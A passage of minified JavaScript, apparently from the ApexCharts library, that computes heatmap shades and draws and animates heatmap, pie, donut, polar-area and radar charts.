i=this.w;return{o:this.isBoxPlot?i.globals.seriesCandleH[t][e]:i.globals.seriesCandleO[t][e],h:this.isBoxPlot?i.globals.seriesCandleO[t][e]:i.globals.seriesCandleH[t][e],m:i.globals.seriesCandleM[t][e],l:this.isBoxPlot?i.globals.seriesCandleC[t][e]:i.globals.seriesCandleL[t][e],c:this.isBoxPlot?i.globals.seriesCandleL[t][e]:i.globals.seriesCandleC[t][e]}}}]),s}(yt),At=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"checkColorRange",value:function(){var t=this.w,e=!1,i=t.config.plotOptions[t.config.chart.type];return i.colorScale.ranges.length>0&&i.colorScale.ranges.map((function(t,i){t.from<=0&&(e=!0)})),e}},{key:"getShadeColor",value:function(t,e,i,a){var s=this.w,r=1,o=s.config.plotOptions[t].shadeIntensity,n=this.determineColor(t,e,i);s.globals.hasNegs||a?r=s.config.plotOptions[t].reverseNegativeShade?n.percent<0?n.percent/100*(1.25*o):(1-n.percent/100)*(1.25*o):n.percent<=0?1-(1+n.percent/100)*o:(1-n.percent/100)*o:(r=1-n.percent/100,"treemap"===t&&(r=(1-n.percent/100)*(1.25*o)));var l=n.color,h=new x;return s.config.plotOptions[t].enableShades&&(l="dark"===this.w.config.theme.mode?x.hexToRgba(h.shadeColor(-1*r,n.color),s.config.fill.opacity):x.hexToRgba(h.shadeColor(r,n.color),s.config.fill.opacity)),{color:l,colorProps:n}}},{key:"determineColor",value:function(t,e,i){var a=this.w,s=a.globals.series[e][i],r=a.config.plotOptions[t],o=r.colorScale.inverse?i:e;r.distributed&&"treemap"===a.config.chart.type&&(o=i);var n=a.globals.colors[o],l=null,h=Math.min.apply(Math,u(a.globals.series[e])),c=Math.max.apply(Math,u(a.globals.series[e]));r.distributed||"heatmap"!==t||(h=a.globals.minY,c=a.globals.maxY),void 0!==r.colorScale.min&&(h=r.colorScale.min<a.globals.minY?r.colorScale.min:a.globals.minY,c=r.colorScale.max>a.globals.maxY?r.colorScale.max:a.globals.maxY);var d=Math.abs(c)+Math.abs(h),g=100*s/(0===d?d-1e-6:d);r.colorScale.ranges.length>0&&r.colorScale.ranges.map((function(t,e){if(s>=t.from&&s<=t.to){n=t.color,l=t.foreColor?t.foreColor:null,h=t.from,c=t.to;var i=Math.abs(c)+Math.abs(h);g=100*s/(0===i?i-1e-6:i)}}));return{color:n,foreColor:l,percent:g}}},{key:"calculateDataLabels",value:function(t){var e=t.text,i=t.x,a=t.y,s=t.i,r=t.j,o=t.colorProps,n=t.fontSize,l=this.w.config.dataLabels,h=new m(this.ctx),c=new O(this.ctx),d=null;if(l.enabled){d=h.group({class:"apexcharts-data-labels"});var g=l.offsetX,u=l.offsetY,p=i+g,f=a+parseFloat(l.style.fontSize)/3+u;c.plotDataLabelsText({x:p,y:f,text:e,i:s,j:r,color:o.foreColor,parent:d,fontSize:n,dataLabelsConfig:l})}return d}},{key:"addListeners",value:function(t){var e=new m(this.ctx);t.node.addEventListener("mouseenter",e.pathMouseEnter.bind(this,t)),t.node.addEventListener("mouseleave",e.pathMouseLeave.bind(this,t)),t.node.addEventListener("mousedown",e.pathMouseDown.bind(this,t))}}]),t}(),St=function(){function t(e,i){a(this,t),this.ctx=e,this.w=e.w,this.xRatio=i.xRatio,this.yRatio=i.yRatio,this.dynamicAnim=this.w.config.chart.animations.dynamicAnimation,this.helpers=new At(e),this.rectRadius=this.w.config.plotOptions.heatmap.radius,this.strokeWidth=this.w.config.stroke.show?this.w.config.stroke.width:0}return r(t,[{key:"draw",value:function(t){var e=this.w,i=new m(this.ctx),a=i.group({class:"apexcharts-heatmap"});a.attr("clip-path","url(#gridRectMask".concat(e.globals.cuid,")"));var s=e.globals.gridWidth/e.globals.dataPoints,r=e.globals.gridHeight/e.globals.series.length,o=0,n=!1;this.negRange=this.helpers.checkColorRange();var l=t.slice();e.config.yaxis[0].reversed&&(n=!0,l.reverse());for(var h=n?0:l.length-1;n?h<l.length:h>=0;n?h++:h--){var c=i.group({class:"apexcharts-series apexcharts-heatmap-series",seriesName:x.escapeString(e.globals.seriesNames[h]),rel:h+1,"data:realIndex":h});if(this.ctx.series.addCollapsedClassToSeries(c,h),e.config.chart.dropShadow.enabled){var d=e.config.chart.dropShadow;new v(this.ctx).dropShadow(c,d,h)}for(var g=0,u=e.config.plotOptions.heatmap.shadeIntensity,p=0;p<l[h].length;p++){var f=this.helpers.getShadeColor(e.config.chart.type,h,p,this.negRange),b=f.color,y=f.colorProps;if("image"===e.config.fill.type)b=new R(this.ctx).fillPath({seriesNumber:h,dataPointIndex:p,opacity:e.globals.hasNegs?y.percent<0?1-(1+y.percent/100):u+y.percent/100:y.percent/100,patternID:x.randomId(),width:e.config.fill.image.width?e.config.fill.image.width:s,height:e.config.fill.image.height?e.config.fill.image.height:r});var w=this.rectRadius,k=i.drawRect(g,o,s,r,w);if(k.attr({cx:g,cy:o}),k.node.classList.add("apexcharts-heatmap-rect"),c.add(k),k.attr({fill:b,i:h,index:h,j:p,val:l[h][p],"stroke-width":this.strokeWidth,stroke:e.config.plotOptions.heatmap.useFillColorAsStroke?b:e.globals.stroke.colors[0],color:b}),this.helpers.addListeners(k),e.config.chart.animations.enabled&&!e.globals.dataChanged){var A=1;e.globals.resized||(A=e.config.chart.animations.speed),this.animateHeatMap(k,g,o,s,r,A)}if(e.globals.dataChanged){var S=1;if(this.dynamicAnim.enabled&&e.globals.shouldAnimate){S=this.dynamicAnim.speed;var C=e.globals.previousPaths[h]&&e.globals.previousPaths[h][p]&&e.globals.previousPaths[h][p].color;C||(C="rgba(255, 255, 255, 0)"),this.animateHeatColor(k,x.isColorHex(C)?C:x.rgb2hex(C),x.isColorHex(b)?b:x.rgb2hex(b),S)}}var L=(0,e.config.dataLabels.formatter)(e.globals.series[h][p],{value:e.globals.series[h][p],seriesIndex:h,dataPointIndex:p,w:e}),P=this.helpers.calculateDataLabels({text:L,x:g+s/2,y:o+r/2,i:h,j:p,colorProps:y,series:l});null!==P&&c.add(P),g+=s}o+=r,a.add(c)}var I=e.globals.yAxisScale[0].result.slice();e.config.yaxis[0].reversed?I.unshift(""):I.push(""),e.globals.yAxisScale[0].result=I;var T=e.globals.gridHeight/e.globals.series.length;return e.config.yaxis[0].labels.offsetY=-T/2,a}},{key:"animateHeatMap",value:function(t,e,i,a,s,r){var o=new b(this.ctx);o.animateRect(t,{x:e+a/2,y:i+s/2,width:0,height:0},{x:e,y:i,width:a,height:s},r,(function(){o.animationCompleted(t)}))}},{key:"animateHeatColor",value:function(t,e,i,a){t.attr({fill:e}).animate(a).attr({fill:i})}}]),t}(),Ct=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"drawYAxisTexts",value:function(t,e,i,a){var s=this.w,r=s.config.yaxis[0],o=s.globals.yLabelFormatters[0];return new m(this.ctx).drawText({x:t+r.labels.offsetX,y:e+r.labels.offsetY,text:o(a,i),textAnchor:"middle",fontSize:r.labels.style.fontSize,fontFamily:r.labels.style.fontFamily,foreColor:Array.isArray(r.labels.style.colors)?r.labels.style.colors[i]:r.labels.style.colors})}}]),t}(),Lt=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w;var i=this.w;this.chartType=this.w.config.chart.type,this.initialAnim=this.w.config.chart.animations.enabled,this.dynamicAnim=this.initialAnim&&this.w.config.chart.animations.dynamicAnimation.enabled,this.animBeginArr=[0],this.animDur=0,this.donutDataLabels=this.w.config.plotOptions.pie.donut.labels,this.lineColorArr=void 0!==i.globals.stroke.colors?i.globals.stroke.colors:i.globals.colors,this.defaultSize=Math.min(i.globals.gridWidth,i.globals.gridHeight),this.centerY=this.defaultSize/2,this.centerX=i.globals.gridWidth/2,"radialBar"===i.config.chart.type?this.fullAngle=360:this.fullAngle=Math.abs(i.config.plotOptions.pie.endAngle-i.config.plotOptions.pie.startAngle),this.initialAngle=i.config.plotOptions.pie.startAngle%this.fullAngle,i.globals.radialSize=this.defaultSize/2.05-i.config.stroke.width-(i.config.chart.sparkline.enabled?0:i.config.chart.dropShadow.blur),this.donutSize=i.globals.radialSize*parseInt(i.config.plotOptions.pie.donut.size,10)/100,this.maxY=0,this.sliceLabels=[],this.sliceSizes=[],this.prevSectorAngleArr=[]}return r(t,[{key:"draw",value:function(t){var e=this,i=this.w,a=new m(this.ctx);if(this.ret=a.group({class:"apexcharts-pie"}),i.globals.noData)return this.ret;for(var s=0,r=0;r<t.length;r++)s+=x.negToZero(t[r]);var o=[],n=a.group();0===s&&(s=1e-5),t.forEach((function(t){e.maxY=Math.max(e.maxY,t)})),i.config.yaxis[0].max&&(this.maxY=i.config.yaxis[0].max),"back"===i.config.grid.position&&"polarArea"===this.chartType&&this.drawPolarElements(this.ret);for(var l=0;l<t.length;l++){var h=this.fullAngle*x.negToZero(t[l])/s;o.push(h),"polarArea"===this.chartType?(o[l]=this.fullAngle/t.length,this.sliceSizes.push(i.globals.radialSize*t[l]/this.maxY)):this.sliceSizes.push(i.globals.radialSize)}if(i.globals.dataChanged){for(var c,d=0,g=0;g<i.globals.previousPaths.length;g++)d+=x.negToZero(i.globals.previousPaths[g]);for(var u=0;u<i.globals.previousPaths.length;u++)c=this.fullAngle*x.negToZero(i.globals.previousPaths[u])/d,this.prevSectorAngleArr.push(c)}this.donutSize<0&&(this.donutSize=0);var p=i.config.plotOptions.pie.customScale,f=i.globals.gridWidth/2,b=i.globals.gridHeight/2,v=f-i.globals.gridWidth/2*p,y=b-i.globals.gridHeight/2*p;if("donut"===this.chartType){var w=a.drawCircle(this.donutSize);w.attr({cx:this.centerX,cy:this.centerY,fill:i.config.plotOptions.pie.donut.background?i.config.plotOptions.pie.donut.background:"transparent"}),n.add(w)}var k=this.drawArcs(o,t);if(this.sliceLabels.forEach((function(t){k.add(t)})),n.attr({transform:"translate(".concat(v,", ").concat(y,") scale(").concat(p,")")}),n.add(k),this.ret.add(n),this.donutDataLabels.show){var A=this.renderInnerDataLabels(this.donutDataLabels,{hollowSize:this.donutSize,centerX:this.centerX,centerY:this.centerY,opacity:this.donutDataLabels.show,translateX:v,translateY:y});this.ret.add(A)}return"front"===i.config.grid.position&&"polarArea"===this.chartType&&this.drawPolarElements(this.ret),this.ret}},{key:"drawArcs",value:function(t,e){var i=this.w,a=new v(this.ctx),s=new m(this.ctx),r=new R(this.ctx),o=s.group({class:"apexcharts-slices"}),n=this.initialAngle,l=this.initialAngle,h=this.initialAngle,c=this.initialAngle;this.strokeWidth=i.config.stroke.show?i.config.stroke.width:0;for(var d=0;d<t.length;d++){var g=s.group({class:"apexcharts-series apexcharts-pie-series",seriesName:x.escapeString(i.globals.seriesNames[d]),rel:d+1,"data:realIndex":d});o.add(g),l=c,h=(n=h)+t[d],c=l+this.prevSectorAngleArr[d];var u=h<n?this.fullAngle+h-n:h-n,p=r.fillPath({seriesNumber:d,size:this.sliceSizes[d],value:e[d]}),f=this.getChangedPath(l,c),b=s.drawPath({d:f,stroke:Array.isArray(this.lineColorArr)?this.lineColorArr[d]:this.lineColorArr,strokeWidth:0,fill:p,fillOpacity:i.config.fill.opacity,classes:"apexcharts-pie-area apexcharts-".concat(this.chartType.toLowerCase(),"-slice-").concat(d)});if(b.attr({index:0,j:d}),a.setSelectionFilter(b,0,d),i.config.chart.dropShadow.enabled){var y=i.config.chart.dropShadow;a.dropShadow(b,y,d)}this.addListeners(b,this.donutDataLabels),m.setAttrs(b.node,{"data:angle":u,"data:startAngle":n,"data:strokeWidth":this.strokeWidth,"data:value":e[d]});var w={x:0,y:0};"pie"===this.chartType||"polarArea"===this.chartType?w=x.polarToCartesian(this.centerX,this.centerY,i.globals.radialSize/1.25+i.config.plotOptions.pie.dataLabels.offset,(n+u/2)%this.fullAngle):"donut"===this.chartType&&(w=x.polarToCartesian(this.centerX,this.centerY,(i.globals.radialSize+this.donutSize)/2+i.config.plotOptions.pie.dataLabels.offset,(n+u/2)%this.fullAngle)),g.add(b);var k=0;if(!this.initialAnim||i.globals.resized||i.globals.dataChanged?this.animBeginArr.push(0):(0===(k=u/this.fullAngle*i.config.chart.animations.speed)&&(k=1),this.animDur=k+this.animDur,this.animBeginArr.push(this.animDur)),this.dynamicAnim&&i.globals.dataChanged?this.animatePaths(b,{size:this.sliceSizes[d],endAngle:h,startAngle:n,prevStartAngle:l,prevEndAngle:c,animateStartingPos:!0,i:d,animBeginArr:this.animBeginArr,shouldSetPrevPaths:!0,dur:i.config.chart.animations.dynamicAnimation.speed}):this.animatePaths(b,{size:this.sliceSizes[d],endAngle:h,startAngle:n,i:d,totalItems:t.length-1,animBeginArr:this.animBeginArr,dur:k}),i.config.plotOptions.pie.expandOnClick&&"polarArea"!==this.chartType&&b.click(this.pieClicked.bind(this,d)),void 0!==i.globals.selectedDataPoints[0]&&i.globals.selectedDataPoints[0].indexOf(d)>-1&&this.pieClicked(d),i.config.dataLabels.enabled){var A=w.x,S=w.y,C=100*u/this.fullAngle+"%";if(0!==u&&i.config.plotOptions.pie.dataLabels.minAngleToShowLabel<t[d]){var L=i.config.dataLabels.formatter;void 0!==L&&(C=L(i.globals.seriesPercent[d][0],{seriesIndex:d,w:i}));var P=i.globals.dataLabels.style.colors[d],I=s.group({class:"apexcharts-datalabels"}),T=s.drawText({x:A,y:S,text:C,textAnchor:"middle",fontSize:i.config.dataLabels.style.fontSize,fontFamily:i.config.dataLabels.style.fontFamily,fontWeight:i.config.dataLabels.style.fontWeight,foreColor:P});if(I.add(T),i.config.dataLabels.dropShadow.enabled){var M=i.config.dataLabels.dropShadow;a.dropShadow(T,M)}T.node.classList.add("apexcharts-pie-label"),i.config.chart.animations.animate&&!1===i.globals.resized&&(T.node.classList.add("apexcharts-pie-label-delay"),T.node.style.animationDelay=i.config.chart.animations.speed/940+"s"),this.sliceLabels.push(I)}}}return o}},{key:"addListeners",value:function(t,e){var i=new m(this.ctx);t.node.addEventListener("mouseenter",i.pathMouseEnter.bind(this,t)),t.node.addEventListener("mouseleave",i.pathMouseLeave.bind(this,t)),t.node.addEventListener("mouseleave",this.revertDataLabelsInner.bind(this,t.node,e)),t.node.addEventListener("mousedown",i.pathMouseDown.bind(this,t)),this.donutDataLabels.total.showAlways||(t.node.addEventListener("mouseenter",this.printDataLabelsInner.bind(this,t.node,e)),t.node.addEventListener("mousedown",this.printDataLabelsInner.bind(this,t.node,e)))}},{key:"animatePaths",value:function(t,e){var i=this.w,a=e.endAngle<e.startAngle?this.fullAngle+e.endAngle-e.startAngle:e.endAngle-e.startAngle,s=a,r=e.startAngle,o=e.startAngle;void 0!==e.prevStartAngle&&void 0!==e.prevEndAngle&&(r=e.prevEndAngle,s=e.prevEndAngle<e.prevStartAngle?this.fullAngle+e.prevEndAngle-e.prevStartAngle:e.prevEndAngle-e.prevStartAngle),e.i===i.config.series.length-1&&(a+o>this.fullAngle?e.endAngle=e.endAngle-(a+o):a+o<this.fullAngle&&(e.endAngle=e.endAngle+(this.fullAngle-(a+o)))),a===this.fullAngle&&(a=this.fullAngle-.01),this.animateArc(t,r,o,a,s,e)}},{key:"animateArc",value:function(t,e,i,a,s,r){var o,n=this,l=this.w,h=new b(this.ctx),c=r.size;(isNaN(e)||isNaN(s))&&(e=i,s=a,r.dur=0);var d=a,g=i,u=e<i?this.fullAngle+e-i:e-i;l.globals.dataChanged&&r.shouldSetPrevPaths&&r.prevEndAngle&&(o=n.getPiePath({me:n,startAngle:r.prevStartAngle,angle:r.prevEndAngle<r.prevStartAngle?this.fullAngle+r.prevEndAngle-r.prevStartAngle:r.prevEndAngle-r.prevStartAngle,size:c}),t.attr({d:o})),0!==r.dur?t.animate(r.dur,l.globals.easing,r.animBeginArr[r.i]).afterAll((function(){"pie"!==n.chartType&&"donut"!==n.chartType&&"polarArea"!==n.chartType||this.animate(l.config.chart.animations.dynamicAnimation.speed).attr({"stroke-width":n.strokeWidth}),r.i===l.config.series.length-1&&h.animationCompleted(t)})).during((function(l){d=u+(a-u)*l,r.animateStartingPos&&(d=s+(a-s)*l,g=e-s+(i-(e-s))*l),o=n.getPiePath({me:n,startAngle:g,angle:d,size:c}),t.node.setAttribute("data:pathOrig",o),t.attr({d:o})})):(o=n.getPiePath({me:n,startAngle:g,angle:a,size:c}),r.isTrack||(l.globals.animationEnded=!0),t.node.setAttribute("data:pathOrig",o),t.attr({d:o,"stroke-width":n.strokeWidth}))}},{key:"pieClicked",value:function(t){var e,i=this.w,a=this,s=a.sliceSizes[t]+(i.config.plotOptions.pie.expandOnClick?4:0),r=i.globals.dom.Paper.select(".apexcharts-".concat(a.chartType.toLowerCase(),"-slice-").concat(t)).members[0];if("true"!==r.attr("data:pieClicked")){var o=i.globals.dom.baseEl.getElementsByClassName("apexcharts-pie-area");Array.prototype.forEach.call(o,(function(t){t.setAttribute("data:pieClicked","false");var e=t.getAttribute("data:pathOrig");e&&t.setAttribute("d",e)})),r.attr("data:pieClicked","true");var n=parseInt(r.attr("data:startAngle"),10),l=parseInt(r.attr("data:angle"),10);e=a.getPiePath({me:a,startAngle:n,angle:l,size:s}),360!==l&&r.plot(e)}else{r.attr({"data:pieClicked":"false"}),this.revertDataLabelsInner(r.node,this.donutDataLabels);var h=r.attr("data:pathOrig");r.attr({d:h})}}},{key:"getChangedPath",value:function(t,e){var i="";return this.dynamicAnim&&this.w.globals.dataChanged&&(i=this.getPiePath({me:this,startAngle:t,angle:e-t,size:this.size})),i}},{key:"getPiePath",value:function(t){var e=t.me,i=t.startAngle,a=t.angle,s=t.size,r=i,o=Math.PI*(r-90)/180,n=a+i;Math.ceil(n)>=this.fullAngle+this.w.config.plotOptions.pie.startAngle%this.fullAngle&&(n=this.fullAngle+this.w.config.plotOptions.pie.startAngle%this.fullAngle-.01),Math.ceil(n)>this.fullAngle&&(n-=this.fullAngle);var l=Math.PI*(n-90)/180,h=e.centerX+s*Math.cos(o),c=e.centerY+s*Math.sin(o),d=e.centerX+s*Math.cos(l),g=e.centerY+s*Math.sin(l),u=x.polarToCartesian(e.centerX,e.centerY,e.donutSize,n),p=x.polarToCartesian(e.centerX,e.centerY,e.donutSize,r),f=a>180?1:0,b=["M",h,c,"A",s,s,0,f,1,d,g];return"donut"===e.chartType?[].concat(b,["L",u.x,u.y,"A",e.donutSize,e.donutSize,0,f,0,p.x,p.y,"L",h,c,"z"]).join(" "):"pie"===e.chartType||"polarArea"===e.chartType?[].concat(b,["L",e.centerX,e.centerY,"L",h,c]).join(" "):[].concat(b).join(" ")}},{key:"drawPolarElements",value:function(t){var e=this.w,i=new _(this.ctx),a=new m(this.ctx),s=new Ct(this.ctx),r=a.group(),o=a.group(),n=i.niceScale(0,Math.ceil(this.maxY),e.config.yaxis[0].tickAmount,0,!0),l=n.result.reverse(),h=n.result.length;this.maxY=n.niceMax;for(var c=e.globals.radialSize,d=c/(h-1),g=0;g<h-1;g++){var u=a.drawCircle(c);if(u.attr({cx:this.centerX,cy:this.centerY,fill:"none","stroke-width":e.config.plotOptions.polarArea.rings.strokeWidth,stroke:e.config.plotOptions.polarArea.rings.strokeColor}),e.config.yaxis[0].show){var p=s.drawYAxisTexts(this.centerX,this.centerY-c+parseInt(e.config.yaxis[0].labels.style.fontSize,10)/2,g,l[g]);o.add(p)}r.add(u),c-=d}this.drawSpokes(t),t.add(r),t.add(o)}},{key:"renderInnerDataLabels",value:function(t,e){var i=this.w,a=new m(this.ctx),s=a.group({class:"apexcharts-datalabels-group",transform:"translate(".concat(e.translateX?e.translateX:0,", ").concat(e.translateY?e.translateY:0,") scale(").concat(i.config.plotOptions.pie.customScale,")")}),r=t.total.show;s.node.style.opacity=e.opacity;var o,n,l=e.centerX,h=e.centerY;o=void 0===t.name.color?i.globals.colors[0]:t.name.color;var c=t.name.fontSize,d=t.name.fontFamily,g=t.name.fontWeight;n=void 0===t.value.color?i.config.chart.foreColor:t.value.color;var u=t.value.formatter,p="",f="";if(r?(o=t.total.color,c=t.total.fontSize,d=t.total.fontFamily,g=t.total.fontWeight,f=t.total.label,p=t.total.formatter(i)):1===i.globals.series.length&&(p=u(i.globals.series[0],i),f=i.globals.seriesNames[0]),f&&(f=t.name.formatter(f,t.total.show,i)),t.name.show){var x=a.drawText({x:l,y:h+parseFloat(t.name.offsetY),text:f,textAnchor:"middle",foreColor:o,fontSize:c,fontWeight:g,fontFamily:d});x.node.classList.add("apexcharts-datalabel-label"),s.add(x)}if(t.value.show){var b=t.name.show?parseFloat(t.value.offsetY)+16:t.value.offsetY,v=a.drawText({x:l,y:h+b,text:p,textAnchor:"middle",foreColor:n,fontWeight:t.value.fontWeight,fontSize:t.value.fontSize,fontFamily:t.value.fontFamily});v.node.classList.add("apexcharts-datalabel-value"),s.add(v)}return s}},{key:"printInnerLabels",value:function(t,e,i,a){var s,r=this.w;a?s=void 0===t.name.color?r.globals.colors[parseInt(a.parentNode.getAttribute("rel"),10)-1]:t.name.color:r.globals.series.length>1&&t.total.show&&(s=t.total.color);var o=r.globals.dom.baseEl.querySelector(".apexcharts-datalabel-label"),n=r.globals.dom.baseEl.querySelector(".apexcharts-datalabel-value");i=(0,t.value.formatter)(i,r),a||"function"!=typeof t.total.formatter||(i=t.total.formatter(r));var l=e===t.total.label;e=t.name.formatter(e,l,r),null!==o&&(o.textContent=e),null!==n&&(n.textContent=i),null!==o&&(o.style.fill=s)}},{key:"printDataLabelsInner",value:function(t,e){var i=this.w,a=t.getAttribute("data:value"),s=i.globals.seriesNames[parseInt(t.parentNode.getAttribute("rel"),10)-1];i.globals.series.length>1&&this.printInnerLabels(e,s,a,t);var r=i.globals.dom.baseEl.querySelector(".apexcharts-datalabels-group");null!==r&&(r.style.opacity=1)}},{key:"drawSpokes",value:function(t){var e=this,i=this.w,a=new m(this.ctx),s=i.config.plotOptions.polarArea.spokes;if(0!==s.strokeWidth){for(var r=[],o=360/i.globals.series.length,n=0;n<i.globals.series.length;n++)r.push(x.polarToCartesian(this.centerX,this.centerY,i.globals.radialSize,i.config.plotOptions.pie.startAngle+o*n));r.forEach((function(i,r){var o=a.drawLine(i.x,i.y,e.centerX,e.centerY,Array.isArray(s.connectorColors)?s.connectorColors[r]:s.connectorColors);t.add(o)}))}}},{key:"revertDataLabelsInner",value:function(t,e,i){var a=this,s=this.w,r=s.globals.dom.baseEl.querySelector(".apexcharts-datalabels-group"),o=!1,n=s.globals.dom.baseEl.getElementsByClassName("apexcharts-pie-area"),l=function(t){var i=t.makeSliceOut,s=t.printLabel;Array.prototype.forEach.call(n,(function(t){"true"===t.getAttribute("data:pieClicked")&&(i&&(o=!0),s&&a.printDataLabelsInner(t,e))}))};if(l({makeSliceOut:!0,printLabel:!1}),e.total.show&&s.globals.series.length>1)o&&!e.total.showAlways?l({makeSliceOut:!1,printLabel:!0}):this.printInnerLabels(e,e.total.label,e.total.formatter(s));else if(l({makeSliceOut:!1,printLabel:!0}),!o)if(s.globals.selectedDataPoints.length&&s.globals.series.length>1)if(s.globals.selectedDataPoints[0].length>0){var h=s.globals.selectedDataPoints[0],c=s.globals.dom.baseEl.querySelector(".apexcharts-".concat(this.chartType.toLowerCase(),"-slice-").concat(h));this.printDataLabelsInner(c,e)}else r&&s.globals.selectedDataPoints.length&&0===s.globals.selectedDataPoints[0].length&&(r.style.opacity=0);else r&&s.globals.series.length>1&&(r.style.opacity=0)}}]),t}(),Pt=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.chartType=this.w.config.chart.type,this.initialAnim=this.w.config.chart.animations.enabled,this.dynamicAnim=this.initialAnim&&this.w.config.chart.animations.dynamicAnimation.enabled,this.animDur=0;var i=this.w;this.graphics=new m(this.ctx),this.lineColorArr=void 0!==i.globals.stroke.colors?i.globals.stroke.colors:i.globals.colors,this.defaultSize=i.globals.svgHeight<i.globals.svgWidth?i.globals.gridHeight+1.5*i.globals.goldenPadding:i.globals.gridWidth,this.isLog=i.config.yaxis[0].logarithmic,this.coreUtils=new y(this.ctx),this.maxValue=this.isLog?this.coreUtils.getLogVal(i.globals.maxY,0):i.globals.maxY,this.minValue=this.isLog?this.coreUtils.getLogVal(this.w.globals.minY,0):i.globals.minY,this.polygons=i.config.plotOptions.radar.polygons,this.strokeWidth=i.config.stroke.show?i.config.stroke.width:0,this.size=this.defaultSize/2.1-this.strokeWidth-i.config.chart.dropShadow.blur,i.config.xaxis.labels.show&&(this.size=this.size-i.globals.xAxisLabelsWidth/1.75),void 0!==i.config.plotOptions.radar.size&&(this.size=i.config.plotOptions.radar.size),this.dataRadiusOfPercent=[],this.dataRadius=[],this.angleArr=[],this.yaxisLabelsTextsPos=[]}return r(t,[{key:"draw",value:function(t){var i=this,a=this.w,s=new R(this.ctx),r=[],o=new O(this.ctx);t.length&&(this.dataPointsLen=t[a.globals.maxValsInArrayIndex].length),this.disAngle=2*Math.PI/this.dataPointsLen;var n=a.globals.gridWidth/2,l=a.globals.gridHeight/2,h=n+a.config.plotOptions.radar.offsetX,c=l+a.config.plotOptions.radar.offsetY,d=this.graphics.group({class:"apexcharts-radar-series apexcharts-plot-series",transform:"translate(".concat(h||0,", ").concat(c||0,")")}),g=[],u=null,p=null;if(this.yaxisLabels=this.graphics.group({class:"apexcharts-yaxis"}),t.forEach((function(t,n){var l=t.length===a.globals.dataPoints,h=i.graphics.group().attr({class:"apexcharts-series","data:longestSeries":l,seriesName:x.escapeString(a.globals.seriesNames[n]),rel:n+1,"data:realIndex":n});i.dataRadiusOfPercent[n]=[],i.dataRadius[n]=[],i.angleArr[n]=[],t.forEach((function(t,e){var a=Math.abs(i.maxValue-i.minValue);t+=Math.abs(i.minValue),i.isLog&&(t=i.coreUtils.getLogVal(t,0)),i.dataRadiusOfPercent[n][e]=t/a,i.dataRadius[n][e]=i.dataRadiusOfPercent[n][e]*i.size,i.angleArr[n][e]=e*i.disAngle})),g=i.getDataPointsPos(i.dataRadius[n],i.angleArr[n]);var c=i.createPaths(g,{x:0,y:0});u=i.graphics.group({class:"apexcharts-series-markers-wrap apexcharts-element-hidden"}),p=i.graphics.group({class:"apexcharts-datalabels","data:realIndex":n}),a.globals.delayedElements.push({el:u.node,index:n});var d={i:n,realIndex:n,animationDelay:n,initialSpeed:a.config.chart.animations.speed,dataChangeSpeed:a.config.chart.animations.dynamicAnimation.speed,className:"apexcharts-radar",shouldClipToGrid:!1,bindEventsOnPaths:!1,stroke:a.globals.stroke.colors[n],strokeLineCap:a.config.stroke.lineCap},f=null;a.globals.previousPaths.length>0&&(f=i.getPreviousPath(n));for(var b=0;b<c.linePathsTo.length;b++){var m=i.graphics.renderPaths(e(e({},d),{},{pathFrom:null===f?c.linePathsFrom[b]:f,pathTo:c.linePathsTo[b],strokeWidth:Array.isArray(i.strokeWidth)?i.strokeWidth[n]:i.strokeWidth,fill:"none",drawShadow:!1}));h.add(m);var y=s.fillPath({seriesNumber:n}),w=i.graphics.renderPaths(e(e({},d),{},{pathFrom:null===f?c.areaPathsFrom[b]:f,pathTo:c.areaPathsTo[b],strokeWidth:0,fill:y,drawShadow:!1}));if(a.config.chart.dropShadow.enabled){var k=new v(i.ctx),A=a.config.chart.dropShadow;k.dropShadow(w,Object.assign({},A,{noUserSpaceOnUse:!0}),n)}h.add(w)}t.forEach((function(t,s){var r=new H(i.ctx).getMarkerConfig({cssClass:"apexcharts-marker",seriesIndex:n,dataPointIndex:s}),l=i.graphics.drawMarker(g[s].x,g[s].y,r);l.attr("rel",s),l.attr("j",s),l.attr("index",n),l.node.setAttribute("default-marker-size",r.pSize);var c=i.graphics.group({class:"apexcharts-series-markers"});c&&c.add(l),u.add(c),h.add(u);var d=a.config.dataLabels;if(d.enabled){var f=d.formatter(a.globals.series[n][s],{seriesIndex:n,dataPointIndex:s,w:a});o.plotDataLabelsText({x:g[s].x,y:g[s].y,text:f,textAnchor:"middle",i:n,j:n,parent:p,offsetCorrection:!1,dataLabelsConfig:e({},d)})}h.add(p)})),r.push(h)})),this.drawPolygons({parent:d}),a.config.xaxis.labels.show){var f=this.drawXAxisTexts();d.add(f)}return r.forEach((function(t){d.add(t)})),d.add(this.yaxisLabels),d}},{key:"drawPolygons",value:function(t){for(var e=this,i=this.w,a=t.parent,s=new Ct(this.ctx),r=i.globals.yAxisScale[0].result.reverse(),o=r.length,n=[],l=this.size/(o-1),h=0;h<o;h++)n[h]=l*h;n.reverse();var c=[],d=[];n.forEach((function(t,i){var a=x.getPolygonPos(t,e.dataPointsLen),s="";a.forEach((function(t,a){if(0===i){var r=e.graphics.drawLine(t.x,t.y,0,0,Array.isArray(e.polygons.connectorColors)?e.polygons.connectorColors[a]:e.polygons.connectorColors);d.push(r)}0===a&&e.yaxisLabelsTextsPos.push({x:t.x,y:t.y}),s+=t.x+","+t.y+" "})),c.push(s)})),c.forEach((function(t,s){var r=e.polygons.strokeColors,o=e.polygons.strokeWidth,n=e.graphics.drawPolygon(t,Array.isArray(r)?r[s]:r,Array.isArray(o)?o[s]:o,i.globals.radarPolygons.fill.colors[s]);a.add(n)})),d.forEach((function(t){a.add(t)})),i.config.yaxis[0].show&&this.yaxisLabelsTextsPos.forEach((function(t,i){var a=s.drawYAxisTexts(t.x,t.y,i,r[i]);e.yaxisLabels.add(a)}))}},{key:"drawXAxisTexts",value:function(){var t=this,i=this.w,a=i.config.xaxis.labels,s=this.graphics.group({class:"apexcharts-xaxis"}),r=x.getPolygonPos(this.size,this.dataPointsLen);return i.globals.labels.forEach((function(o,n){var l=i.config.xaxis.labels.formatter,h=new O(t.ctx);if(r[n]){var 